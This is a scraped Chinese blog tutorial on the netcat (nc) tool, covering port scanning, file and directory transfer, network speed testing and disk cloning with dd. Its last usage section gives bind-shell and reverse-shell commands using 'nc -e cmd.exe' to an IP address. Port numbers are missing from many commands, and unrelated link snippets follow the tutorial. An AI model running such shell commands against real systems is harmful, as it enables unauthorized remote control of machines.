0x00 功能说明:

功能强大的网络工具,在网络工具中有“瑞士军刀”美誉,其有Windows和Linux的版本。因为它短小精悍,功能实用,被设计为一个简单、可靠的网络工具,可通过TCP或UDP协议传输读写数据。同时,它还是一个网络应用Debug分析器,因为它可以根据需要创建各种不同类型的网络连接。

0x01 nc的作用

(1)实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口

(2)端口的扫描,nc可以作为client发起TCP或UDP连接

(3)传输文件

(4)网络测速

(5)克隆硬盘或分区

(6)反弹服务器shell

nc的常用的几个参数如下所列:

1) -l
用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。
2) -p <port>
暂未用到(老版本的nc可能需要在端口号前加-p参数,下面测试环境是centos6.6,nc版本是nc-1.84,未用到-p参数)
3) -s
指定发送数据的源IP地址,适用于多网卡机
4) -u
指定nc使用UDP协议,默认为TCP
5) -v
输出交互或出错信息,新手调试时尤为有用
6)-w
超时秒数,后面跟数字
7)-z
表示zero,表示扫描时不发送任何数据

0x02 nc的用法介绍

用法1、 网络连通性测试和端口扫描

tcp监听

nc可以作为server端启动一个tcp的监听,默认情况下下面监听的是一个tcp的端口

nc -l -p 

客户端测试

1、在B机器上telnet A机器此端口,如下显示表示B机器可以访问A机器此端口

telnet 10.0.1.161 

2、B机器上也可以使用nmap扫描A机器的此端口

nmap 10.0.1.161 -p9999

3、使用nc命令作为客户端工具进行端口探测

nc -vz -w  10.0.1.161 

(-v可视化,-z扫描时不发送数据,-w超时几秒,后面跟数字)

服务端会自动关闭监听。

4、nc可以扫描连续端口,这个作用非常重要。常常可以用来扫描服务器端口,然后给服务器安全加固

在客户端B机器上扫描连续的两个端口,如下

nc -vzw  10.0.1.161 -

udp监听

nc作为server端启动一个udp的监听(注意,此处重点是起udp,上面主要讲了tcp)

启动一个udp的端口监听

nc -ul -p 

复制当前窗口输入 netstat -antup |grep 9998 可以看到是启动了udp的监听

测试方法

1、

nc -vuz 10.0.1.161 

(u表示udp端口,v表示可视化输出,z表示扫描时不发送数据)

由于udp的端口无法在客户端使用telnet去测试,我们可以使用nc命令去扫描。

(telnet是运行于tcp协议的)

上面在B机器扫描此端口的时候,看到A机器下面出现一串XXXXX字符串(我测试时出现两个a)

2、

nmap -sU 10.0.1.161 -p 

-sU :表示udp端口的扫描

注意:如果A机器开启了防火墙,扫描结果可能会是下面状态。(不能确定对方是否有监听9998端口)

nmap -sU 10.0.1.161 -p  -Pn

既然上面测试无法使用nmap扫描nc作为服务端启动的端口,我们可以使用nmap扫描其余的端口

(额,有点跑题了,讲nmap的用法了,没关系,主要为了说明nmap是也可以用来扫描udp端口的,只是扫描nc启动的端口会导致对方退出端口监听)

下面,A机器上rpcbind服务,监听在udp的111端口

netstat -anup | grep 

在B机器上使用nmap扫描此端口,是正常的检测到处于open状态

udp端口扫描

扫描过程比较慢,可能是1秒扫描一个端口,下面表示扫描A机器的1到1000端口(暂未发现可以在一行命令中扫描分散的几个端口的方法)

nc -vuz 10.0.1.161 -

用法2、 使用nc传输文件和目录

方法1,先启动接收命令

使用nc传输文件还是比较方便的,因为不用scp和rsync那种输入密码的操作了

把A机器上的一个rpm文件发送到B机器上

需注意操作次序,receiver先侦听端口,sender向receiver所在机器的该端口发送数据。

步骤1,先在B机器上启动一个接收文件的监听,格式如下

意思是把赖在9995端口接收到的数据都写到file文件里(这里文件名随意取)

格式:nc -l port >file

nc -l -p  >zabbix.rpm

步骤2,在A机器上往B机器的9995端口发送数据,把下面rpm包发送过去

nc 10.0.1.162  < zabbix-release-2.4-.el6.noarch.rpm

方法2,先启动发送命令

步骤1,先在B机器上,启动发送文件命令

下面命令表示通过本地的9992端口发送test.mv文件

nc -l -p  <test.mv

步骤2,A机器上连接B机器,取接收文件

下面命令表示通过连接B机器的9992端口接收文件,并把文件存到本目录下,文件名为test2.mv

nc 10.0.1.162  >test2.mv

方法3,传输目录演示(方法发送文件类似)

步骤1,B机器先启动监听,如下

A机器给B机器发送多个文件

传输目录需要结合其它的命令,比如tar

经过我的测试管道后面最后必须是 - ,不能是其余自定义的文件名

nc -l -p  | tar xzvf -

步骤2,A机器打包文件并连接B机器的端口

管道前面表示把当前目录的所有文件打包为 - ,然后使用nc发送给B机器

tar cfz - * | nc 10.0.1.162 

或者 tar czvf – nginx-0.6.|nc 192.168.228.222 

B机器这边已经自动接收和解压

方法4,拼接命令传输

使用nc进行文件传输,命令

ssh root@www.freetstar.com “( nc -l 10003 > destination 2>/dev/null & )” && cat source | nc www.freetstar.com 10003

&& 前边ssh登录到远程主机www.freetstar.com上,用nc命令打开本地的10003端口,成为后台进程

&&后边,在本地机器上打开source文件,并将其重定向到www.freetstar.com的10003号端口,也就是让远程www.freetstar.com主机10003号端口接收source文件

用法3、 测试网速

测试网速其实利用了传输文件的原理,就是把来自一台机器的/dev/zero 发送给另一台机器的/dev/null

就是把一台机器的无限个0,传输给另一个机器的空设备上,然后新开一个窗口使用dstat命令监测网速

在这之前需要保证机器先安装dstat工具

yum install -y dstat

方法1,测试网速演示(先启动接收命令方式)

步骤1,A机器先启动接收数据的命令,监听自己的9991端口,把来自这个端口的数据都输出给空设备(这样不写磁盘,测试网速更准确)

nc -l  >/dev/null

步骤2,B机器发送数据,把无限个0发送给A机器的9991端口

nc 10.0.1.161  </dev/zero

在复制的窗口上使用dstat命令查看当前网速,dstat命令比较直观,它可以查看当前cpu,磁盘,网络,内存页和系统的一些当前状态指标。

我们只需要看下面我选中的这2列即可,recv是receive的缩写,表示接收的意思,send是发送数据,另外注意数字后面的单位B,KB,MB

方法2,测试网速演示(先启动发送命令方式)

步骤1,先启动发送的数据,谁连接这个端口时就会接收来自zero设备的数据(二进制的无限个0)

nc -l  </dev/zero

步骤2,下面B机器连接A机器的9990端口,把接收的数据输出到空设备上

nc 10.0.1.161  >/dev/null

同样可以使用dstat观察数据发送时的网速

用法4、 克隆硬盘或分区

操作与上面的拷贝是雷同的,只需要由dd获得硬盘或分区的数据,然后传输即可。

克隆硬盘或分区的操作,不应在已经mount的的系统上进行。所以,需要使用安装光盘引导后,进入拯救模式(或使用Knoppix工 具光盘)启动系统后,在server2上进行类似的监听动作:

# nc -l -p  | dd of=/dev/sda

server1上执行传输,即可完成从server1克隆sda硬盘到server2的任务:

# dd if=/dev/sda | nc 192.168.228.222 

※ 完成上述工作的前提,是需要落实光盘的拯救模式支持服务器上的网卡,并正确配置IP。

用法5、 反弹服务器shell

方法1、REMOTE主机绑定SHELL

在公网监听

nc -l -p  -t -e c:\winnt\system32\cmd.exe
或者
nc -l -p -t -e cmd.exe

在内网主动建立连接

nc -nvv 192.168.153.138 

-t是通过telne模式执行 cmd.exe 程序,可以省略。

讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口

方法2、REMOTE主机绑定SHELL并反向连接

在公网监听

nc -lp 

在内网机器反弹

nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x
或者
nc -t -e cmd 192.168.153.140

讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口

以上为最基本的几种用法(其实NC的用法还有很多,

当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大......)。

0x03 参考链接:

https://www.cnblogs.com/nmap/p/6148306.html

nc工具使用的更多相关文章

  1. NC 工具的使用教程

    NC工具的使用说明...nc使用说明 参数介绍: nc.exe -h即可看到各参数的使用方法. 基本格式:nc [-options] hostname port[s] [ports] ... nc - ...

  2. netcat、nc工具随记

    netcat又称nc工具,其最主要的作用就是建立连接并返回两个数据流,剩下的就看各位的想象力了,想象力是很重要的,这也是这个工具的强大之处的所在,所以重要的东西才要说三遍,想象力! 具体参数如下: - ...

  3. Linux系统中nc工具那些不为人知的用法

    Linux nc命令用法 参考地址:https://www.cnblogs.com/jjzd/p/6306273.html -g<网关>:设置路由器跃程通信网关,最多设置8个; -G< ...

  4. Black Hat Python之#1:制作简单的nc工具

    nc即netcat,是网络界的瑞士军刀.当入侵了一个服务器之后,发现nc工具已经被系统管理员移除之后,可以自己制作一个简单的客户端和服务器端来实现①上传文件②执行命令③开启一个新的命令行shell等几 ...

  5. nc工具学习

    0x00.命令详解 基本使用 想要连接到某处:nc  [-options] ip port 绑定端口等待连接:nc -l -p port ip 参数: -e prog 程序重定向,一旦连接,就执行 [ ...

  6. nc工具用法

    http://man.linuxde.net/nc_netcat nc命令用法举例 什么是nc

  7. nc工具详解

    nc 安装    yum install -y nc参数: Command Summary: - Use IPv4 - Use IPv6 -D Enable the debug socket opti ...

  8. 倍福TwinCAT(贝福Beckhoff)常见问题(FAQ)-可以用软件自带NC工具驱动但是程序无法让电机转动怎么办

    新建一个项目,当扫描的时候务必勾选YES,使用网上最新的XML文件   如果不使用,则有些设备可能被扫描出来是无效的(图标不正常)   如果完全删除XML描述文件,可能也能扫描出来,而且可以用Twin ...

  9. nc之netcat端口测试与nmap工具

    nc介绍: nc是netcat的简写,有着网络界的瑞士军刀美誉.因为它短小精悍.功能实用,被设计为一个简单.可靠的网络工具,其有Windows和Linux的版本,可通过TCP或UDP协议传输读写数据. ...

随机推荐

  1. scipy.stats.multivariate_normal的使用

    参考:https://docs.scipy.org/doc/scipy-0.14.0/reference/generated/scipy.stats.multivariate_normal.html ...

  2. jar包的MANIFEST.MF文件

    打包可执行jar包时,MANIFEST.MF总是个让人头疼的东西,经常出现这种那种问题. 一个例子: ================================================= ...

  3. TensorRT&Sample&Python[end_to_end_tensorflow_mnist]

    本文是基于TensorRT 5.0.2基础上,关于其内部的end_to_end_tensorflow_mnist例子的分析和介绍. 1 引言 假设当前路径为: TensorRT-5.0.2.6/sam ...

  4. 1 Introduction

    1. Introduction 1.1. License Flowable is distributed under the Apache V2 license. 1.2. Download http ...

  5. wget命令使用报错 certificate common name 'xxx' doesn't match requestde host name

    使用wget命令 wget http://www.monkey.org/~provos/libevent-1.2.tar.gz 报如下错 error:certificate common name & ...

  6. iOS WebView 加载本地资源(图片,文件等)

    https://www.cnblogs.com/dhui69/p/5596917.html iOS WebView 加载本地资源(图片,文件等) NSString *path = [[NSBundle ...

  7. mysql 5.7 json

    项目中使用的mysql5.6数据库,数据库表一张表中存的字段为blob类型的json串数据.性能压测中涉及该json串处理效率比较低,开发人员提到mysql5.7版本后json串提供了原生态的json ...

  8. 《Effective C++》实现:条款26-条款31

    条款26:尽可能延后变量定义式的出现时间 C++推荐在使用对象前才定义对象(调用构造函数赋初值) 只在循环中使用的变量定义在循环内部(除非"赋值"成本低于"构造+析构&q ...

  9. MySQL系列:数据类型、运算符及函数(5)

    1. 数据类型 MySQL支持多种数据类型,主要有数值类型.日期/时间类型和字符串类型. (1)数值类型:包括整数类型:TINYINT.SMALLINT.MEDIUMINT.INT.BIGINT,   ...

  10. 使用Node.js搭建数据爬虫crawler

    0. 通用爬虫框架包括: (1) 将爬取url加入队列,并获取指定url的前端资源(crawler爬虫框架主要使用Crawler类进行抓取网页) (2)解析前端资源,获取指定所需字段的值,即获取有价值 ...